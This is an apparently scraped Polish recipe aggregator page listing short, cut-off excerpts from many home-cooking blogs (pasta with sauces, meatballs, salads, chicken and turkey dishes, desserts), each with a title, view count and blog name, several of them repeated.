prosiliście na moim instagramie :) Czego możesz użyć jako panierki zmielonych płatków owsianych pokruszonych płatków kukurydzianych sezamu domowej bułki tartej  panierki "panko" Będziesz potrzebować dwie duże porcje podawać z sosem jogurtowym fasolka szparagowa - 400 g jajko - 1 szt parmezan - ok 50 g bułka tarta/płatki owsiane/płatki kukurydziane - ok 150 g/ 1,5 szk sól - wg uznania Etap I - Fasolka

Wylizany Rondel
Meksykańska zupa limonkowa 207

pisałam zapraszam tutaj . Tematem przewodnim warsztatów był meksyk "Vivá la fiesta" wspólnie przygotowaliśmy Zupę limonkową,chrupiącą quesadille z szarpaną wieprzowiną oraz tradycyjne taco z kurczakiem, quacamole, salsą pomidorową i sosem mango chilli. Tym razem na warsztaty namówiłam swoje przyjaciółki, było to nasze pierwsze wspólne gotowanie nie zabrakło śmiechu i wina :) kuchnia to takie magiczne miejsce, gdzie wszyscy się jednoczą

Wylizany Rondel
Makaron spaghetti w sosie pomidorowym z pulpetami 162

pulpety się poddusiły, wyciągam je z garnka. Do bulionu dodaję pokrojone w kosteczkę pomidory, pół pudełeczka passaty, przyprawiam solą, pieprzem i bazylią. Duszę ok 15 min na wolnym ogniu. Sos zaklepuję śmietaną i dwoma łyżkami mąki

Domowa Kuchnia u Mamy
Kotlety z mięsa mielonego z papryką i żółtym serem 202

przyprawiam solą i pieprzem . Dokładnie mieszam . Następnie formuję kotlety, obtaczam w bułce tartej i smażę na wolnym ogniu z każdej strony aż się zarumienią . Ja zajadałam z ziemnikami i sosem pieczarkowym :) Smacznego

Domowa Kuchnia u Mamy
MEGA ŻEBERKO Z BOCZKIEM 161

przykryć nasz mięso. Dusimy całość pod przykryciem ok 1.30 minut - sprawdzając co jakiś czas czy nie przywiera do garnka, oraz w celu odwrócenia żeberka. Jeśli mięsko jest miękkie a sos odpowiednio gęsty serwujemy nasze danie z ziemniaczkami oraz surówką. U mnie Coleslaw

BezglutenowaIzabela
SZYBKO-PYSZNY MAKARON W CZTERECH KROKACH Z KURCZAKIEM I WARZYWAMI 191

Pierś z kurczaka kroimy w kostkę. Doprawiamy - sól, pieprz, przeciśnięty przez praskę czosnek, zioła do drobiu, łyżka sosu sojowego - mieszamy i odstawiamy żeby smaki się połączyły 2. Na patelnie wrzucamy mrożone warzywa (u mnie mieszanka z brokułem, kalafiorem, marchewką, groszkiem, fasolką). Gdy już się rozmrożą lub wrzuciliśmy już rozmrożone dajemy im chwilkę, dodajemy masło oraz kurczaka.  3. Dodajemy

BezglutenowaIzabela
Filipa18 – recenzja 169

ogóle, ale jak Chef Marcin opowiedział o zamyśle i sposobie jej stworzenia podeszłam do niej „po japońsku” – nie smakuje mi, ale z ręką na sercu doceniam. M smakowało Sos porto idealnie zgrał się z tym, co było w kieliszkach, a mianowicie Taittinger Brut Reserve. To bardzo elegancki szampan. Dobrze wyważony, nie za lekki, właśnie w sam raz pod dziczyznę. Deser

Kate's Kitchen
MAKARON Z KIEŁBASĄ I CUKINIĄ W SOSIE Z SERKÓW TOPIONYCH 209

międzyczasie w gorącej wodzie rozpuszczam kostkę bulionową, dokładnie mieszam ze śmietaną. Bulion wlewam na patelnię, dodaję serki topione. Gotuję na małym ogniu do momentu całkowitego rozpuszczenia się serków. Przygotowany sos łączę z makaronem

JejKuchnia
Pieczona frittata z brokułami (Frittata al forno con broccoli) 238

Frittata jest szybka i prosta w przygotowaniu a do tego treściwa, idealna na niedzielne śniadanie lub obiad, do którego możemy podać sałatkę z rukoli z sosem balsamicznym. Polecam Wam serdecznie :) * Jeżeli lubicie frittaty, polecam Wam moje wcześniejsze przepisy na frittate z cukinią , kolorowymi warzywami , dynią , burakami , topinamburem , fetą, pesto i pomidorkami a w wersji słodkiej

La grande e la piccola cuoca
Szakszuka (shakshuka) – przepis podstawowy 314

minut aż staną się miękkie i kostka przestanie być tak „regularna”. Jeśli pomidory miało w sobie mało soku podlejcie odrobinę wodą aby na patelni było nieco sosu. To moment na dodanie przypraw – papryki i kuminu. Przemieszajcie je z pomidorami i róbcie na patelni po jednym wgłębieniu w które wbijacie po 1 jajku. Całość doprawcie solą i pieprzem

nietylkopasta.pl
PULPECIKI WOŁOWE Z PENNE 180

Uwielbiam penne, a w połączeniu z sosem pomidorowym i pulpecikami smakuje idealnie.  Dziś polecam pulpeciki wołowe :)  SKŁADNIKI NA 20 SZTUK Pulpecików : Klopsiki 🍜400 g mięsa mielonego wołowego 🍜2 tarte marchewki 🍜4 łyżki tartego sera żółtego np. Cheddar 🍜1 jajko 🍜3 łyżki bułki tartej 🍜4 łyżki ketchupu 🍜1 łyżka drobno posiekanej natki pietruszki 🍜Sól i pieprz do smaku 🍜Mąka

Gotowanie Patki
Warzywa pyszne, jak umami ;) 241

piąty smak, który naukowcy wyodrębnili od smaku słonego stosunkowo niedawno, bo w 2000 roku. Ciężko go opisać, jest intensywny, jakby "rosołowy", skondensowany. Występuje w mięsie i serach, sosie sojowym i rybnym, ale także między innymi w pomidorach, grzybach i brokułach. Czytaj więcej

Pichceniomania
Wielkanocne jajka w szynce 8836

pietruszki, przyprawić do smaku i wszystko dokładnie wymieszać. Powstałą pastę wykładać na plasterki szynki i zwinąć w roladkę. Jogurt połączyć z chrzanem, majonezem , posiekaną natką pietruszki, polać roladki powstałym sosem i udekorować natka pietruszki. Podawać na śniadanie wielkanocne

Tradycyjna Kuchnia
Mięso z królika w śmietanie. 161

oleju z obu stron. Dodaj listki laurowe, posiekany lub przeciśnięty przez praskę czosnek, podlej nie dużą ilością wody i duś do miękkości pod przykryciem, od czasu do czasu podlewając sosem z pieczenia. Gdy mięso jest już dostatecznie miękkie, podlej je śmietaną wymieszaną wcześniej z mąką. Dopraw potrawę do smaki solą , pieprzem, przyprawą , wymieszaj i gotuj jeszcze parę minut. Gotowego królika

Przepisy i porady kulinarne
Surówka z kapusty z marchewką i jabłkiem (dieta dr Dąbrowskiej) 323

wegański wywar warzywny zupę z kiszonych ogórków sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym wegańską kalafiornicę frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora grillowaną cukinię z warzywami po grecku zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem

Kulinarne przygody Gatity
” Królewskie” wątróbki drobiowe 261

tego absolutnie , nie chcemy . Podczas smażenia , dodajemy do wątróbek miód . W momencie , kiedy będą już ładnie zrumienione , wlewamy cherry , musztardę i śmietanę . Doprowadzamy do wrzenia , jeśli użyliście prawdziwej kremówki , sos sam się zagęścił i można danie doprawić solą , pieprzem do smaku . Wątróbki zawsze solimy na końcu , wtedy nie robią się twarde i suche . Podajemy na gorąco ,posypane natką , z dowolnym

Ogrodnik w podróży
Ryż smażony z jajkiem 198

Jamiego Olivera z jego książki "5 składników". Ryz smażony z jajkiem pęczek dymki 250 g ugotowanego brązowego ryżu basmati 2 czubate łyżeczki dżemu z chili, ja użyłam słodkiego sosu chili 2 jajka 150 g groszku mrożonego (tofu, nerkowców, czy w wersji mięsnej usmażonych kosteczek kurczaka) W woku lub na dużej patelni rozgrzewamy łyżkę oliwy, wrzucamy pokrojone dymki i smazymy

Dzieje kuchennej Wiewióry
Penne z kurczakiem, suszonymi pomidorami i szpinakiem oprószone serem feta 169

świeżego szpinaku. Całość dusimy około 5 minut. • Kiedy szpinak jest już miękki dodajemy pokrojone w paseczki suszone pomidory wraz z odrobiną oliwy. Wszystko doprawiamy solą i pieprzem do smaku. • Sos łączymy z uprzednio ugotowanym makaronem i podsmażamy chwilkę na patelni. • Na talerz wykładamy gorący makaron i oprószamy go kawałkami sera feta

KUCHNIA POLSKA
Gumiklyjzy-czyli śląskie kluski ziemniaczane 238

żółtka, jeszcze inne wcale. Tak naprawdę zależy kto jak się przyzwyczai.  To co jednak jest charakterystyczne dla ów klusek, to maleńkie wgłębienie-dziurka, która ma wypełnić się aromatycznym sosem.  Ja z myślą o niniejszym daniu przywołuję sobie wspomnienia z dzieciństwa, które niejako nawiązują do naszej regionalnej tradycji przygotowywania klusek w ramach dania głównego na niedzielny obiad. Pamiętam

wyjątkowa kucnia
Penne z tuńczykiem i pomidorami 223

niej czosnek pokrojony w plasterki. Dodaj pomidory i podsmażaj jeszcze 5 minut mieszając. Do podsmażonych pomidorów wlej wino i duś jeszcze 3-4 minuty. Odsącz tuńczyka, dodaj do sosu. Dodaj ugotowany makaron.  Przypraw pieprzem i solą. Duś przez chwilkę.  Podawaj posypane natką pietruszki. Smacznego

Różne smaki w kuchni
Makaron z cukinia i kurczakiem 167

sól  i podsmażamy przez chwilę. 5. Do cukinii i kurczaka dodajemy pomidory w puszce i koncentrat pomidorowy. 6. Dusimy do momentu aż pomidory się rozpadną i powstanie gęsty sos. 7. Pod koniec dodajemy bazylię i oregano. Wrzucamy ugotowany wcześniej makaron i dusimy jeszcze ok. 5 minut. Gotowe:) Zamiast pomidorów w puszce można dodać świeże pomidory ( należy je sparzyć, obrać

la cuchara
Pavlova na bogato 211

Pavlova, lub jak kto woli -Pawłowa- to słynny deser bezowy.  Można modyfikować przepis według własnych upodobań.  Można użyć owoców, czekolady, ulubionych sosów, na przykład karmelowy lub solony karmel.  Największa trudnością jest upieczenie bezy, choć ja i tak jestem zdania, że nie taki diabeł straszny.  Trzeba trzymać się zasad a uda się wyśmienicie.   Po pierwsze

Piekarz-Kucharz-Garkotłuk
Chrupiący Pan czyli Croque Monsieur - najsłynniejsza francuska kanapka. Moja recenzja opiekacza Breville DuraCeramic VST071X 202

zawsze zachwyca mocno spieczoną skórką, delikatnym wnętrzem z gotowanej szynki i dojrzewającego sera oraz odrobiną musztardy Dijon. Na jego wierzchu znajdziemy parmezan. Najczęściej spotkać można taką kanapkę w towarzystwie sosu beszamelowego, jednak ja dzisiaj proponuję Croque Monsieur z sałatką z francuskim dressingiem, która uzupełnia tosty, sprawiając, że całość nadaje się nie tylko na przepyszne śniadanie, ale i na błyskawiczny obiad

Poezja Smaków - blog kulinarny
Sałatka ze szpinaku, z pstrągiem i owocami 297

jakieś ziarenka. No dobrze, czasami to mięso pomijam, ale nie ukrywam, że lubię jak jest. Dzisiaj w mojej sałatce jest ryba , owoce, zielenina i sezam. Całość skropiłam lekkim sosem i spałaszowaliśmy ją bardzo chętnie. Mam nadzieję, że i Wam spodoba się ta propozycja, bo nam ogromnie smakowała. Ta sałatka to propozycja na lunch, lekki obiad albo kolację. ROZWIŃ I CZYTAJ

Smaczna Pyza
Fasola bez mięsa 212

ziemniakami. -- -- Po minucie, jak już wszystko ładnie się połączy...przelewamy do garnka. Z jednej szklanki zimnego mleka 200 ml i czubatej łyżki mąki, robimy zaklepkę,  którą zagęszczamy sos dla lepszej konsystencji i wyglądu potrawy. Oczywiście nie zapominamy żeby dobrze wymieszać i tak gotujemy 2 min. Smakujemy i doprawiamy jak czegoś brakuje... soli, pieprzu, papryki...? Potrawa jest tak treściwa

chleba naszego
Pizza... 152

zrobimy placki na blachę do pizzy. Ciasto wałkujemy, wykładamy na natłuszczone i posypane bułką lub mąką blachy śr. 26-30 cm. Jak już ciasto jest w blaszkach, to smarujemy sosem pomidorowym, z lekko rozwodnionego  1/2 szkl.wody -koncentratu pomidorowego -doprawionego solą, pieprzem,czosnkiem.  Następnie dajemy wcześniej przygotowane w niewielkiej ilości produkty...  zieleninę np. por, ser żółty w plastrach

chleba naszego
Sałatka z młodych listków z soczewicą, burakiem i pomarańczą 178

razie kłopotów. Jeżeli chcecie zabrać ze sobą sałatkę do pracy, dressing zapakujcie osobno i polejcie nim danie tuż przed zjedzeniem. Wystarczy mały słoiczek z nakrętką - idealny gadżet do mieszania sosów i ich przechowywania. Sałatka z młodych listków z soczewicą, burakiem i pomarańczą Składniki / na 2 porcje na lunch lub kolację: 2 pomarańcze 1,5 łyżki czerwonego octu winnego 1 łyżeczka

Chilli Czosnek i Oliwa
SŁODKIE WALENTYNKOWE SERCE 171

litra wrzątku Zapach arakowy ½ soku z cytryny Biszkopt : Wodę, cukry, masło i kakao umieścić w żaroodpornym naczyniu, doprowadzić do wrzenia. Wystudzić.  Białka ubić na sztywną pianę. Do kakaowego sosu dodajemy pojedynczo żółtka oraz przesianą mąkę z proszkiem do pieczenia. Na koniec dodajemy ubite białka, mieszamy delikatnie. Przelewamy do formy w kształcie serca (ok24cm) pieczemy 50 minut

Słodki Zakątek
Przepis 119 # Kurczak Curry 144

Witajcie, pomysł na zrobienie kurczaka w sosie curry chodził mi już po głowie od dłuższego czasu. W końcu postanowiłam go zrobić i... od tego momentu stał się jedną z najczęściej goszczących potraw na moim stole. Połączenie delikatnego mleczka kokosowego oraz mięsa z dość intensywnym smakiem pasty curry to dla mnie połączenie idealne. Plusem jest to, że danie dość szybko się

Health-Fit-Life
Jak planować zakupy? Planner zakupowy do druku 166

prostu kup produkty, które mogą być bazą do dań – produkty uniwersalne, które często jesz. Ja do takich produktów bazowych zaliczam kurczaka, jajka, mleko, mąkę, makaron, śmietankę (do sosów i do makaronów), pomidory, szynkę, ser i pieczywo (kup więcej i zamroź, jeżeli jeszcze jest świeże, będziesz mieć na czarną godzinę) – to kilka składników, z których zrobisz smaczne i proste

Kuchnia Bazylii
Kąski drobiowe w cieście. 401

cieście i smażone na głębokim oleju. Mięsko jest soczyste, a ciasto chrupiące. Można je podać jako danie obiadowe, ale sprawdzą się również jako przekąski imprezowe. Najlepiej smakują z sosem czosnkowym. Składniki: 2 pojedyncze piersi z kurczaka 2 jajka 6 czubatych łyżek mąki 1/2 szklanki wody gazowanej 2 łyżeczki oregano 1 ząbek czosnku przeciśnięty przez praskę przyprawy (sól, pieprz, papryka słodka

Agusiowe smakołyki
Najlepsze czeskie piwo w Warszawie? Kierunek Restauracja Bohemia! 302

knedlikiem i plackiem ziemniaczanym. Następnym razem muszę spróbować ich kaczuszkę. Na koniec mój hit zaraz po tatarze, KNEDLIK S POVIDLY (18 zł) drożdżowy knedlik z powidłami śliwkowymi, makiem i sosem waniliowym. To było tak pyszne, że wróciłabym tam tylko po ten deser! I piwko oczywiście Podsumowując, była to bardzo udana wizyta. Wyszłam najedzona i szczęśliwa, chociaż pewnie tutaj duży wpływ

karmelowy
Pierś z kurczaka w mleczku kokosowym z cukinią i papryką 245

znowu! Szybko & smacznie! SKŁADNIKI do zamarynowania: 1 podwójna pierś z kurczaka 1 łyżeczka soku z cytryny / limonki 2 łyżeczki curry w proszku 1/3 łyżeczki imbiru mielonego 1 łyżka sosu sojowego 1 łyżka oliwy z oliwek Dodatkowo : 1 mała cukinia (pozbawiona gniazda nasiennego) 1 papryka 1 puszka mleczka kokosowego Sól, pieprz Kurczaka kroimy w paseczki, marynujemy około pół godziny. Podsmażamy

Mamuśka wraca do formy
Makaron z pesto z awokado 171

kiełków Makaron ugotować al dente w lekko osolonej wodzie. Póki makaron się gotuje, przygotować pesto*. Awokado wydrążyć za pomocą łyżki, przełożyć do kielicha blendera. Dodać pozostałe składniki, zmiksować na sos. Spaghetti odcedzić, wymieszać z pesto, posypać kiełkami. Podawać od razu. Smacznego! *Awokado bardzo szybko traci kolor, staje się ciemne i nieapetyczne. Dlatego pesto należy przygotować w trakcie gotowania makaronu, żeby

Obiad gotowy
Sznycle z jajek, kotlety z jajek 171

solą i pieprzem. Dodać surowe jajko, zmiksować. Masę podzielić na osiem części. Wyrobić sznycelki. Obsypać je bułką tartą. Smażyć na maśle, na rumiano z każdej strony. Sznycle podałam z sosem pieczarkowym. talerz

królestwo garów
Jak szybko zrobić pesto 214

Pesto może być wykorzystane zarówno do przygotowania pieczywa jak i bardzo często wykorzystywane jest jako składnik do makaronów. Pokażę Wam jak szybko zrobić pesto aby było

Kulinarnyblog.pl - wiesz jak gotować!
Indyk z pieczarkami i rukolą w sosie śmietanowym 229

Pyszny indyk z pieczarkami i rukolą w sosie śmietanowym. Do tego u nas kasza. W Lidlu kupiłam ostatnio mini pieczarki, które czekały na wykorzystanie, zostało troszkę rukoli i tak powstało to danie. Mięso, pieczarki i cebulę podsmażyłam na oleju rzepakowym zimnotłoczonym, nierafinowanym do smażenia Dr Gaja . Olej ten został uzyskany w wyniku tłoczenia na zimno zarodków rzepaku z odmian bogatych

kruche babeczki
Gołąbki ziemniaczane z gryką 177

układać w naczyniu żaroodpornym posmarowanym tłuszczem. Każdą warstwę skropić tłuszczem, posypać przyprawą do zup. Po czym przykryć i piec w temperaturze 180 stopni przez około godzinę. Podawać z sosem pieczarkowym

Tradycyjna Kuchnia
Pavlova na bogato 235

Pavlova, lub jak kto woli -Pawłowa- to słynny deser bezowy.  Można modyfikować przepis według własnych upodobań.  Można użyć owoców, czekolady, ulubionych sosów, na przykład karmelowy lub solony karmel.  Największa trudnością jest upieczenie bezy, choć ja i tak jestem zdania, że nie taki diabeł straszny.  Trzeba trzymać się zasad a uda się wyśmienicie.   Po pierwsze

Piekarz-Kucharz-Garkotłuk
Warzywa po grecku (dieta dr Dąbrowskiej) 260

ogórków wegański rosół z makaronem z marchewki sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym wegańską kalafiornicę frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora grillowaną cukinię z warzywami po grecku zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem

Kulinarne przygody Gatity
Pierś z kurczaka w mleczku kokosowym z cukinią i papryką 222

znowu! Szybko & smacznie! SKŁADNIKI do zamarynowania: 1 podwójna pierś z kurczaka 1 łyżeczka soku z cytryny / limonki 2 łyżeczki curry w proszku 1/3 łyżeczki imbiru mielonego 1 łyżka sosu sojowego 1 łyżka oliwy z oliwek Dodatkowo : 1 mała cukinia (pozbawiona gniazda nasiennego) 1 papryka 1 puszka mleczka kokosowego Sól, pieprz Kurczaka kroimy w paseczki, marynujemy około pół godziny. Podsmażamy

Mamuśka wraca do formy
Makaron z kurczakiem w sosie paprykowo-pomidorowym (fit / dietetyczny) 302

paprykę, cebulę i czosnek, również smażymy aż zaczną puszczać sok. Wlewamy pomidory, dusimy na małym ogniu przez 15 minut. Doprawiamy do smaku solą i przyprawami. 3. Makaron mieszamy z sosem

Szefowa kuchni
Czekoladowe placuszki z dżemem 162

Szybko zabrałam się za zrobienie tych placuszków. Są puchate, pyszne a z dżemem smakują wybornie. Oczywiście do każdego należy decyzja z czym placuszki zje, może z miodem, może z sosem czekoladowym a może suche bez niczego. Zawsze będą pyszne. Czekoladowe placuszki z dżemem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Penne z tuńczykiem i pomidorami 240

niej czosnek pokrojony w plasterki. Dodaj pomidory i podsmażaj jeszcze 5 minut mieszając. Do podsmażonych pomidorów wlej wino i duś jeszcze 3-4 minuty. Odsącz tuńczyka, dodaj do sosu. Dodaj ugotowany makaron.  Przypraw pieprzem i solą. Duś przez chwilkę.  Podawaj posypane natką pietruszki. Smacznego

Różne smaki w kuchni
Kurczak w sosie dyniowo-porowym 206

kurczaka umyć, osuszyć i pokroić na kawałki. Posypać solą i pieprzem i usmażyć na rumiano na rozgrzanym oleju, dodać pokrojonego dosyć drobno pora. Po chwili dodać przygotowaną dynię, jeśli sos będzie za gęsty podlać trochę wodą (u mnie nie było to konieczne, ponieważ używała mrożonej dyni, która puściła swoje soki). Dusić do momentu, aż dynia się rozpadnie. Następnie dodać śmietanę

talerz przyjemności
Chaczapuri 190

czosnek kroimy w kostkę podsmażamy na patelni, dodajemy pokrojoną w kostkę paprykę i ogórka konserwowego. Dodajemy mięso mielone i doprawiamy przyprawami i ziołami. Smażymy ok 20 min aż sos nam odparuje. Mieszamy drożdże z cukrem, solą oraz 3 łyżkami mąki. Dodajemy 1/2 szkl. ciepłej wody mieszamy. Odstawiamy w ciepłe miejsce na ok. 10 min. aż do wyrośnięcia. Do rozczynu dodajemy

Gotowanie jest łatwe
Schab duszony z cebulą i grzybami leśnymi 239

wody, przykrywamy i dusimy 60 minut. Dbamy o to, aby grzyby znalazły się pod wodą. Można je schować pod mięsem. W międzyczasie, po około 30 minutach duszenia, sos próbujemy i jeśli zachodzi potrzeba, doprawiamy solą i pieprzem.  Smacznego

Smak mojego domu
MARCHEWKA ZAPIEKANA POD BESZAMELEM 181

ramach akcji kulinarnej „Zapiekanki” ogłoszonej na Durszlak.pl, proponuję Wam prosty przepis na marchewkę zapiekaną pod aksamitną warstwą sosu beszamelowego. Jego kremowa tekstura to podstawa wielu francuskich dań.Tak przyrządzona marchewka może stanowić dodatek do mięs i ryb, jak również stanowić samodzielne danie wegetariańskie.  Przygotowanie: 15 min Gotowanie i pieczenie : 50 min Dla 6 osób : ● 600 g marchewki

Smaki Francji współczesna kuchnia francuska
Wegański rosół z makaronem z marchewki ( dieta dr Dąbrowskiej) 259

wegański wywar warzywny zupę z kiszonych ogórków sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym wegańską kalafiornicę frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora grillowaną cukinię z warzywami po grecku zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem

Kulinarne przygody Gatity
Muhammara – pasta do chleba lub dip na imprezę 175

papryki. W zależności od regionu ma ona różne dodatki. W mojej wersji są nimi cebula, świeża bazylia i kapary. Muhammara pysznie sprawdza się jako imprezowy dip, smarowidło do chleba, sos do wegabów czy dowolnego nibymięsa. Polecam Dzieci też mogą jak najbardziej korzystać z pysznego smaku tej zdrowej pasty – wystarczy pominąć paprykę chilli Składniki: 1/2 małej cebuli 1 szklanka orzechów

Lamarida.pl
Sałatka z tuńczyka i awokado 222

jeść gotowych dań czy byle jakiego śniadania. Powiem Ci nawet więcej, często przygotowanie zajmuje tyle samo czasu, jak nie krócej. Składniki na 1-2 porcje: 1 puszka tuńczyka w sosie własnym ½ awokado ½ czerwonej papryki ¼ czerwonej cebuli Kilka pomidorków koktajlowych lub mały pomidorów Pieprz do smaku Sok z cytryny wyciśnięty z plasterka cytryny Przygotowanie: Tuńczyka z puszki odsączyć. Paprykę, pomidorki, czerwoną

Fabryka pomysłów
Mięso z indyka z cebulką. 182

drugą szklankę wina i duś pod przykryciem, aż mięso będzie miękkie. Podawaj z ziemniakami, zestawem surówek lub fasolką szparagową. Na każdą porcję mięsa wyłóż duszoną cebulkę i polej winnym sosem.                               Życzę

Przepisy i porady kulinarne
Inspiracja wieczorna! Co do pracy? 182

posiłki w ciągu dnia... Na blogu jest już przepis na 17 sałatek, 18 w poczekalni, a niedługo Agnieszka ujawni składniki potrzebne do tej sałatki #19 i do fantastycznego sosu...      Tak praktycznie można stosować dietę rozdzielną w każdej sytuacji i w każdej porze dnia... ❗ Życzymy smacznego i udanego dnia w rytmie💓 diety rozdzielnej czyli zdrowia

Dieta Rozdzielna i Zdrowie
Wtorek: Pęczotto z pieczonymi warzywami 155

brukselki Mały słodki ziemniak 250 g dyni Pół szklanki pęczaku Mała dymka 1 łyżka oleju roślinnego Kilka łyżek posiekanego szczypiorku 1 łyżeczka tymianku 1 łyżeczka majeranku Marynata: 1 łyżka sosu sojowego ½ łyżeczki miodu ½ łyżeczki soku z cytryny ½ łyżeczki pieprzu Przygotowanie: Krok 1 Wymieszaj składniki marynaty. Włóż mięso do marynaty. Przykryj i odstaw na czas przygotowania warzyw. Krok 2 Rozgrzej piekarnik

Niedzielny kucharz
Szaszłyki 178

Składniki filet z kurczaka ok 3 plastry schabowe kawałek wędzonego boczku kilka małych cebul czerwona papryka smalec sól, pieprz, sos sojowy ciemny słodka i ostra papryka szczypta rozmarynu i tymianku lubczyk 2-3 ząbki czosnku Przygotowanie Mięso opłukać, osuszyć i pokroić w kostkę, porządnie doprawić i odstawić na kilka godzin.  Cebulę pokroić na cztery części, paprykę i boczek

Gaździnka warzy
Filety z indyka w pesto po włosku 270

podparowało, dzięki czemu indyk będzie bardziej soczysty. Zdejmij pokrywkę dodaj pomidorki, oliwki, przyprawy, bazylię i miód, całość zacznie się pomału karmelizować na złoty kolor. Gorące mięso podajemy z odrobiną sosu z patelni i np. pieczywem, możesz też oczywiście danie serwować z kaszami czy sałatką. Polecam! Pycha! Sprawdź pozostałe przepisy KUCHNI WŁOSKIEJ

SMYKWKUCHNI
Sałatka z kurczakiem i pomarańczą 229

łyżeczką oleju, położyć filet i smażyć na średnim ogniu przez ok 4 minuty z każdej strony, do zrumienienia mięsa. 6. Sałatę posypujemy kawałkami kurczaka i cząstkami pomarańczy. Polewamy sosem i posypujemy orzechami oraz pestkami granatu

Atlas Smaków
Makaron z łososiem i cukinią 207

panierce z kapustą kiszoną i ziemniakami albo pierogi. Lubię zjeść te dania, nawet bardzo, ale nie co tydzień. Dlatego u nas wczoraj gościł makaron z łososiem i cukinią w sosie śmietanowym. Trochę miałam zabawy z łososiem, bo jednak ciągle uczę się niektórych rzeczy, ale o tym zaraz... Składniki (porcja dla 3 osób) ~ 25 dag makaronu - u mnie penne

Justa próbuje gotować
Kurczak na kokosie 177

Wlać mleko kokosowe, wodę, dodać pokrojone pomidory, ananasa, kurkumę oraz tymianek i wszystko dokładnie wymieszać. 5.  Gotować pod przykryciem na wolnym ogniu 15-20 minut do momentu aż sos zgęstnieje. Na końcu doprawić całość solą, pieprzem oraz dodać posiekaną kolendrę.  6.  Ryż ugotować al dente według instrukcji na opakowaniu. Kurczaka na kokosie podawać na ugotowanym ryżu

Szalona Kuchnia Eweliny
Sałatka gyros z kurczakiem 404

Warstwowa, wyrazista w smaku sałatka z kurczakiem w przyprawie gyros, z kukurydzą, ogórkami, ostrą czerwoną cebulą w smakowitym sosie na bazie majonezu i keczupu to ciekawy pomysł na szybką imprezową sałatkę i sycące drugie śniadanie. Składniki: 500g fileta z kurczaka 2 czerwone cebule 1 puszka kukurydzy 400g ogórków konserwowych 600g pekińskiej kapusty przyprawa do gyrosa 2 łyżki klarowanego masła ketchup

Szalona Kuchnia Eweliny
Roladki wieprzowe duszone we własnym sosie 180

Kolejny mój przepis na roladki. Duszone we własnym sosie są najlepsze. Składniki: Kotlet schabowy 8 szt. Ser żółty 8 plasterków Boczek wędzony 8 plastrów Cebula biała 1 szt. Sól i pieprz do smaku Śmietanka 30 %  Wykonanie: Kotlety opłukać, osuszyć na ręczniku papierowym, posypać solą i pieprzem i odłożyć do lodówki na godzinę. Następnie rozbić tłuczkiem dosyć cienko. Na każdym

Tradycyjna Kuchnia
Sałatka meksykański Król Imprezy 2669

Wymieszać. Kukurydzę i fasolę odsączyć z zalewy. Sałatę podrzeć na mniejsze kawałki i ułożyć na dnie miski. Następnie kolejno układać warstwami: pokrojone pomidory, podsmażone mięso, pieczarki, kukurydzę z fasolą, sos i ser. Z nachosów ułożyć wzdłuż brzegu miski koronę, a resztę pokruszyć i wyłożyć na wierzch sałatki. Schłodzić. Wersja warstwowa sałatki ładniej się prezentuje wizualnie, ale jeśli chcecie możecie wszystkie

Kulinarne Przeboje
Sałatka z soczewicy czarnej i tuńczyka 260

będzie idealna na pożywny posiłek (lunch) do pracy, jak również jako niecodzienna kolacja dla dwojga. Składniki na 4 porcje : 200g czarnej soczewicy (może być też zielona) puszka tuńczyka w sosie własnym (220g) 100g pomidorków koktajlowych (u mnie daktylowe) 1 mała czerwona cebula pół pęczka kolendry 1 łyżka oliwy 1 łyżka soku z cytryny 1 łyżeczka musztardy francuskiej z ziarenkami gorczycy

Dietolog
Pizza z patelni. 193

ciasto wyrośnie, bardzo wolno je podgrzewamy. Jeśli zajdzie taka potrzeba, można na chwilę zgasić palnik i po chwili znów go odpalić. Zdejmujemy pokrywkę, obracamy na drugą stronę. Smarujemy sosem pomidorowy, ja tam uwielbiam pikantny keczup, taki co ma w składzie na pierwszym miejscu pomidory i to w dużej ilości. Układamy składniki, przykrywamy i dalej podgrzewamy aż się zrumieni

Dieta moja pasja
MAKARON FASZEROWANY PASTĄ Z SUSZONYCH POMIDORÓW I SEREM CORREGIO’’ 176

dodatkiem oliwy. Farszem nadziewamy rurki makaronu i układamy w naczyniu żaroodpornym. Oliwki wykładamy na faszerowany makaron, ścieramy ser. Zapiekamy w 200 st. około 20 minut. Świetnie smakuje z sosem czosnkowym. Smacznego

Podróż w kulinaria
Gulasz wołowy 174

kostkę rosołową w małej misce połącz mąkę ze śmietaną, a następnie zahartuj gorącym wywarem z garnka, tak przygotowany płyn dolej do mięsa i wymieszaj gotuj wszystko razem do zgęstnienia sosu podawaj z ulubionymi dodatkami, np z Proste placki ziemniaczane Smacznego

Oka w rosole czyli KaFka gotuje
Krokiety ziemniaczane nadziewane szpinakiem 369

małe i wykonane z samych ziemniaków. Jeśli natomiast serwowane jako danie główne mają w sobie wszelakie nadzienie, zarówno mięsne jak i jarskie. Krokiety fajnie komponują się także podawane z sosami, na przykład pieczarkowym czy koperkowym. W formie wegetariańskiej będą daniem w sam raz do zaserwowania w niejeden piątek, dla tych którzy wystrzegają się mięsa. Jeśli zdecydujecie się na wypróbowanie tego

mecooks
Frykadelki indycze w migdałach 198

smaku. Dokładnie wymieszać, formować kuleczki i obsmażyć na oleju złociście z każdej strony. Śmietanę wymieszać z mąka, rozprowadzić gorącym bulionem, zagotować, dodać curry i pozostałe płatki migdałowe. Do sosu przełożyć przygotowane frykadelki, posypać natką pietruszki i podawać z kaszą kuskus

Tradycyjna Kuchnia
Sałatka z czerwonej kapusty, pomarańczy i pestek granatu 221

